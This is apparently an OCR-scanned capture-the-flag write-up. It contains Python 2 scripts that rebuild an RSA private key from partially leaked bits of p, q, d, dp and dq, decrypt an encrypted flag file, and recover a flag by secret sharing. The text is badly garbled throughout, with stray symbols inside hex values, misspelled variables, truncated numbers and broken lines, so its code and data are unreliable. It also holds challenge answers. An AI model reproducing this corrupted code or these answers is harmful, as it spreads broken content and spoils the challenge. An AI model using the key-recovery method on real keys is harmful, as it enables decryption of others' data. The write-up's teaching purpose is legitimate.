2¢:c4:99:10:db:46:e3:29:a5:79:93:8¢:75:71:ec:
c6:3b:af:44:dc:60:c4:53:f6:3c:e8:73:2f:50:10:
38:e7:6f:d0:a5:4b:ae:e3:1e:43:11:42:2c:a2:38:
€6:3f:0b:13:54:63:e8:2f:9e:61:ab:08:65:97:€0:
27:30:19:fd:a7:fe:5¢:d8:11:b8:34:87:ad:02:c2:

bc:cd:73:d3:86:be:fd:2a:b4:fe:7d:7e:d3:64:bb:



6f:63:ed:a6:1d:ee:f2:80:da:9d:7a:23:7f:c1:39:
b0:98:0c:85:8f:d0:4b:9f.e4:1a:26:fc:44:d1:67:
03:32:03:0¢:91:61:23:4¢:81:6f:42:18:88:41:dc:
27:55:a3:07:7c:a1:ad:f3:58:4d:91:07:65:f1:63:
f2:34:d5:17:0e:59:¢c6:bb:b6:6d:7d:0c:d2:64:4b:
b9:9¢:52:59:03:8e:2a:43:23:76:33:¢3:e8:72:3b:
1c:€0:40:97:36:5f:ae:00:d7:€3:09:eb:df:55:44:
22:b4:09:00:b5:09:41:70:6¢:5¢:3b:98:d3:34:7e:
60:a2:b8:93:bd:af:32:77:48:48:8a:a5:9c:0e:6a:
a1:79:36:86:8c:e9:3f:b1:a2:a7:4a:3a:d8:d6:f6:
dd:62:d8:ae:9e:13:bb:0c:6b:b1:65:68:0d:7e:58:
3f:68:1e€:91:49:13:19:68:2b:fd:3c:5e:52:fa:76:
b0:57:fc:0e:35:d8:71:56:41:06:ef:50:99:56:dd:
d4:9a:1f:d3:46:26:12:9¢:15:4b:43:fc:1b:de:c9:
06:ad:82:56:63:¢c8:a4:83:32:d2:35:05:23:15:52:
d9:0a:73:85:5e:¢9:c2:56:af:69:d2:5f:77:04:28:
c8:4c:b9:a6:d4:15:15:b5:15:99:13:ef:a9:a5:de:
5a:74:b1:03:cf:32:a5:03:69:f8:€9:bb:7e:16:31:
5e:43:e7:02:51:ac:c5:f6:bf:ef:1¢:74:f7:13:0c:

19:ad:b7™™)

p_ranges, pmask_msk, pmask_val = msk(""00: :05:89: :bd:35: : :

:ed: :70:14: :::10: : :87: :51:

ea: :97:69::52::::::ea:::15:

1 :34: :be:11:23: : :34:14: :94: :10:

1 [74:87:37:ee:81:62:e€:95: : :dc:49:dd:
::35::81: :fa: :::86: : : :fb:

:93:::12: :14: :ab:76: :96: : :27:
:21::04:01:41: :98: :ff: : :12:dc: :

cd: :39:95:30: :47: :fa:ff: :34: :ad: :
:52:02:fa:bc:14:22:22:48:61:62:bd:53: : :

72:08:¢cb:41:88: : : :63:91:30:fe: : :42:



87::18:52: :39:dd: :68: :fe:06:88:81: :
:aefd: : :fb:21:37:59: :53: fa:
:07:40:eb:33:77:51:64:10:dd: :73: :86:62:
:bf: :79: :34: :bb: :44:ff: :46:fe:90:

ef: :52:ad: : fe: :69:18:89:bd:cd:09:46:
2747111 :41:66: 1 :11::25:

39:8b™")

g_ranges, gmask_msk, gmask_val = msk("" 00:ce:43:ef: :76:58:17:43:31: : :32:70: :
89: ::36:55:06: :79:66:78: : ::::
:85::::::33:bb: : :56: :66:cb:

:08: ::90:cb: : :24:fa:ca:i47:: ::
:88::83:01: :62: : : : : : :ad:ae:

:::88: :ec: 1 ::09:04:86: :05:00:
:df:50:84:81:80: :ae: :24: :94:da: :04:

ce: :ef: : :ed:be:bf:43:78: : :05:93: :
08:52:05:::::ae:::::ab:::

:76:ce: : : ::19:bd:22: :ef:dc:bfea:
ab:78:01:::85::::ea:::fb:::

92:66:19: : :ab: : :82:::31: : :da:
82::13:82:43: : :94:13:41: . : :37::
:04:56:02:87:dd: :58:27: : :24: : ::
28:::09:14:89: : : :49:59: :16:eb:65:
:01:22: : :dd: :78: : :db:90: :ac: :

:fd: :03:74: : : ::92: :00:ba: : :

:05™™")

_, dmask_msk, dmask_val = msk(""11: : :69:62:64: : : : :15: :13:de:de:
cf: ::17:::75: :98:42:fc: :12:15:08:
:1:::36: :be:25:48: : :119: i :

:47:11:19: :03: :49:fc:da: :96:45:eb: :
:1:91: :ea: : :55:ff: :37:58: : :

19:::73:40: :91:15:01:da:91:22:fd:32: :



::50:::66: :::42: : :ef: ::
df:42::97:30::39:: :::::dc::
:1:::38::::88:28::05: ::

78:59:fa: :86: :19:24: : : : :da:cf:15:

39: ::: :ef:55: :ce:47: :58:89: :fb:
:24::::92: : :ee: : :db:67:31:ce:
:28::72:ec:89::04:::50: :: ::

:37::44: : : ::56: :38: :bb:47:bb:
66:83:99:22:07:72: : :48:52:02: : : :29:
:82:56: :67: :95: : :56:94: : :71: :
bf:27:98: : :54:98:26:06:87: :ae: :53:be:
::80:37:60:61:ea:ef:de: : :df:90:81: :
70: :06:33:26: :75:fe:95: :92: :78:¢d:05:
64:cc:68: : :36:54: :bd:16:90:ee:60: : :
1410 ::91::79:58:06:50: :46: : :

45: :09:ca:ac:16: :27:98: : :ba:82: :77:
93:98:ad: :15: :67:53:97:ad:ee:50:44: :31:
07: :ff:01::09: : : : : :46: : :42:

15: :db:df:42:be: : : :78: :41: : ::
14:::26:fc: :84:::::::20:
da:46:01:eb:87: :12:57: : :56:af: :87:93:
60: :02: :18:89:63:72:ad: :ed:cf: : :84:
:22::13: : :dd: :ff: : : :de:62:37:

:19:66: : :86:02: :38: ::: :ec:14:
12::43:93:19:65:98: : :03: : : :ef: :
::ca:07:92:22: : :bb:15:eb: : : :35:
:72:29:cd: 1 :99:::::41:06: : :

:43:33: :32: : :54:be:92:62: :78:59:42:
79:89")

_, dpmask_msk, dpmask_val = msk("" :39: :28:16:02:89:ce:11:fe

:1:ed:97: ::11:20:ba:ae:98:ad: : :



:10:87:ac:07: : : : :50: : :70:50:52:
df:89:eb:02: : : ::93:11: : :12: :56:
:08: : :ea: :10:fa:19: : : :54:45:07:

: :bc:ff:33: :db:63:49:fe:52: :33: : :
bf:cd:45:91: :10: : :92:81:40:03: :80: :
29: :30: :ed:43:64:ca: :bf:64: : :bf: :

1 1:24:72:84: : :ff. . :24: :81:27:
db:23: :64: :67: :ba: ::bc:::::
:ae:88: 1 ::::91:::114: :bazef:
89:::::::::05::75:52: :

: 1 :be:ad:df: :02:88:00: : :15:45: :
cf:32: :ca: :93: :32: :40: :27:dd: :19:
73.dc::::::cfi:dd::ca::

ee: :ca: :::49::27::58:53: :64:25:
:22:06:16:f:62:bc: : : : :24:fc: : :
df"")

_, dgmask_msk, dgmask_val = msk(""02: :bd: :19:25:98:75: :65: :55:28:33:bc:
34:84:91:01:96: : :08: :32:45: :27: ::
‘fe: :bb:63:32:68: :51:bd:75:40: :52:52:
:1:78:85:fc:94: :07: :14: 1 &

15:dd: : :93: :01: : :77:ca: :40: :da:
:89:bc:87:62:dc:ac:61:88: : :70: :69: :
:36: : :21:08: :dc:73: :ad:da:ee:fe: :
96: :58: : :46: :29:ff:97:ce: : : :cb:
51:::81::22:::19: :10:69:41:36:ca:
:22:49: :cc:cf:06: : :08: :76: : :45:
98:::45::::69:13:65: : :da:54: :

19: :ee:24: :73: ::::::18:53:40:
21:25: : :84:52:cd: :49:33:78: : :ed: :
25:27::::ca::::ca:::bc::02:

31:70: :10:ca:84:59: : : :52: :27:76: :



47: :66:bf:ff: :03: :99:ff: :df: : : :

:46:27:45: :65:07: :48:da:dc: :80: : :

fo)

def search(K, Kp, Kq, check_level, break_step):

max_step =0

cands = [0]

for step in range(1, break_step + 1):

#print" ", step, "( max =", max_step, ")"

max_step = max(step, max_step)

mod = 1 << (4 * step)

mask = mod - 1

cands_next =[]

for p, new_digit in product(cands, p_ranges|-step]):

pval = (new_digit << ((step-1)*4)) | p

if check_level >= 1:

gval = solve_linear(pval, N & mask, mod)

if qval is None or not check_val(qval, mask, gmask_msk, gmask_val):
continue

if check_level >= 2:

val = solve_linear(E, 1 + K* (N - pval - gval + 1), mod)

if val is None or not check_val(val, mask, dmask_msk, dmask_val):
continue

if check_level >= 3:

val = solve_linear(E, 1 + Kp * (pval - 1), mod)

if val is None or not check_val(val, mask, dpmask_msk, dpmask_val):
continue

if check_level >= 4:

val = solve_linear(E, 1 + Kq * (gval - 1), mod)

if val is None or not check_val(val, mask, dgmask_msk, dgmask_val):
continue

if pval * qval == N:



print "Kq =", Kq

print "pwned"
print "p =", pval
print "q =", qval
p = pval

q = qval

d=invmod(E, (p-1)*(q-1))

coef = invmod(p, q)

from Crypto.PublicKey import RSA

print RSA.construct(map(long, (N, E, d, p, q, coef))).exportKey()
quit()

cands_next.append(pval)

if not cands_next:

return False

cands = cands_next

return True

def check_val(val, mask, mask_msk, mask_val):
test mask = mask_msk & mask

test val = mask val & mask

return val & test_mask == test_val

# K = 4695

# Kp = 15700

#Kq = 5155

for Kiin range(1, E):

if K% 100 == 0:

print "checking", K

if search(K, 0, 0, check_level=2, break_step=20):
print "K =", K

break

for Kp in range(1, E):

if Kp % 1000 == 0:



print "checking", Kp

if search(K, Kp, 0, check_level=3, break_step=30):
print "Kp =", Kp

break

for Kq in range(1, E):

if Kq % 100 == 0:

print "checking"”, Kq

if search(K, Kp, Kq, check_level=4, break step=9999):

print "Kq =", Kq
break
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p=

3080487723637276129634829751376790813012042676744164219403894705943174991974393328272172
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q =
2603859128885668823800175966560901674419717546909008049407782041528374517260994755568456
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import gmpy2

def shuchu(mingwenstr):

if mingwenstr[len(mingwenstr)-1]=="L"

mingwenstr=mingwenstr[2:len(mingwenstr)-1]

else:

mingwenstr=mingwenstr[2:len(mingwenstr)]

if not len(mingwenstr)%2==0:

mingwenstr='0'+mingwenstr

i=len(mingwenstr)

mingwen=""

while i>=1:

str1=mingwenstr[i-2:i]

if int(str1,16)>33 and int(str1,16)<126:
mingwen=chr(int(str1,16))+mingwen

else :



mingwen=""+mingwen

i=i-2

print mingwen

p=
3080487723637276129634829751376790813012042676744164219403894705943174991974393328272172
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q =
2603859128885668823800175966560901674419717546909008049407782041528374517260994755568456
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n=0xc49d36a47776121285246¢c741d7db3cef4c3a469cd0b2e8fd675e380b8e81ccee86090455673ab3232007ft

« [ v
assert n==p*q

e=65537

fi=open("flag.txt.en","rb")

miwen=fi.read()

fi.close()

miwenhex=miwen.encode("hex")
miwenint=int(miwenhex,16)

d=gmpy2.invert(e,(p-1)*(g-1))

mingwen=pow(miwenint,d,n)

print len(hex(mingwen)[2:])

print shuchu(hex(mingwen))

4. ZEME

>>> from secretsharing import PlaintextToHexSecretSharer

>>> flags=["1-fddc7d57594928fb74a507ab9cbalOb28b92bb6e7b36a9925a105eeddac020e64','3-
84f82314003c9690eeacd823b22680ccbe93ac098cabdd0a992c095dde0031cf','5-
b0e2e8d2cadc91f8f2f357a42e26aeabaccbfa7731437298ca23d8a4ab5424ced’,'7-
810e7545213971a3c7¢2dce3d0998764d0bc1e3b866b15ad0deebaa7abcf64cs','9-
b4da0bd03394e4bdfef92f16365e8811d9614f11b99111bcf8a4e68ba79626a2','b-
661069e7d491719759a3199be1f65ffb6db92d1b014abb4e33ca7e32f85ee276','d-
1f84ab9b467adec4de4451ed187987785b567bbdde0126d0722e3335a5307d68','f-
9001dc36dd28c5c5dd7333968e7263986f55dd79cd9be286d21f45e46f53c399']

>>> PlaintextToHexSecretSharer.recover_secret(flags[0:8])
'f1ag{25019971af01d63d4ea8ad95da516}

>>>
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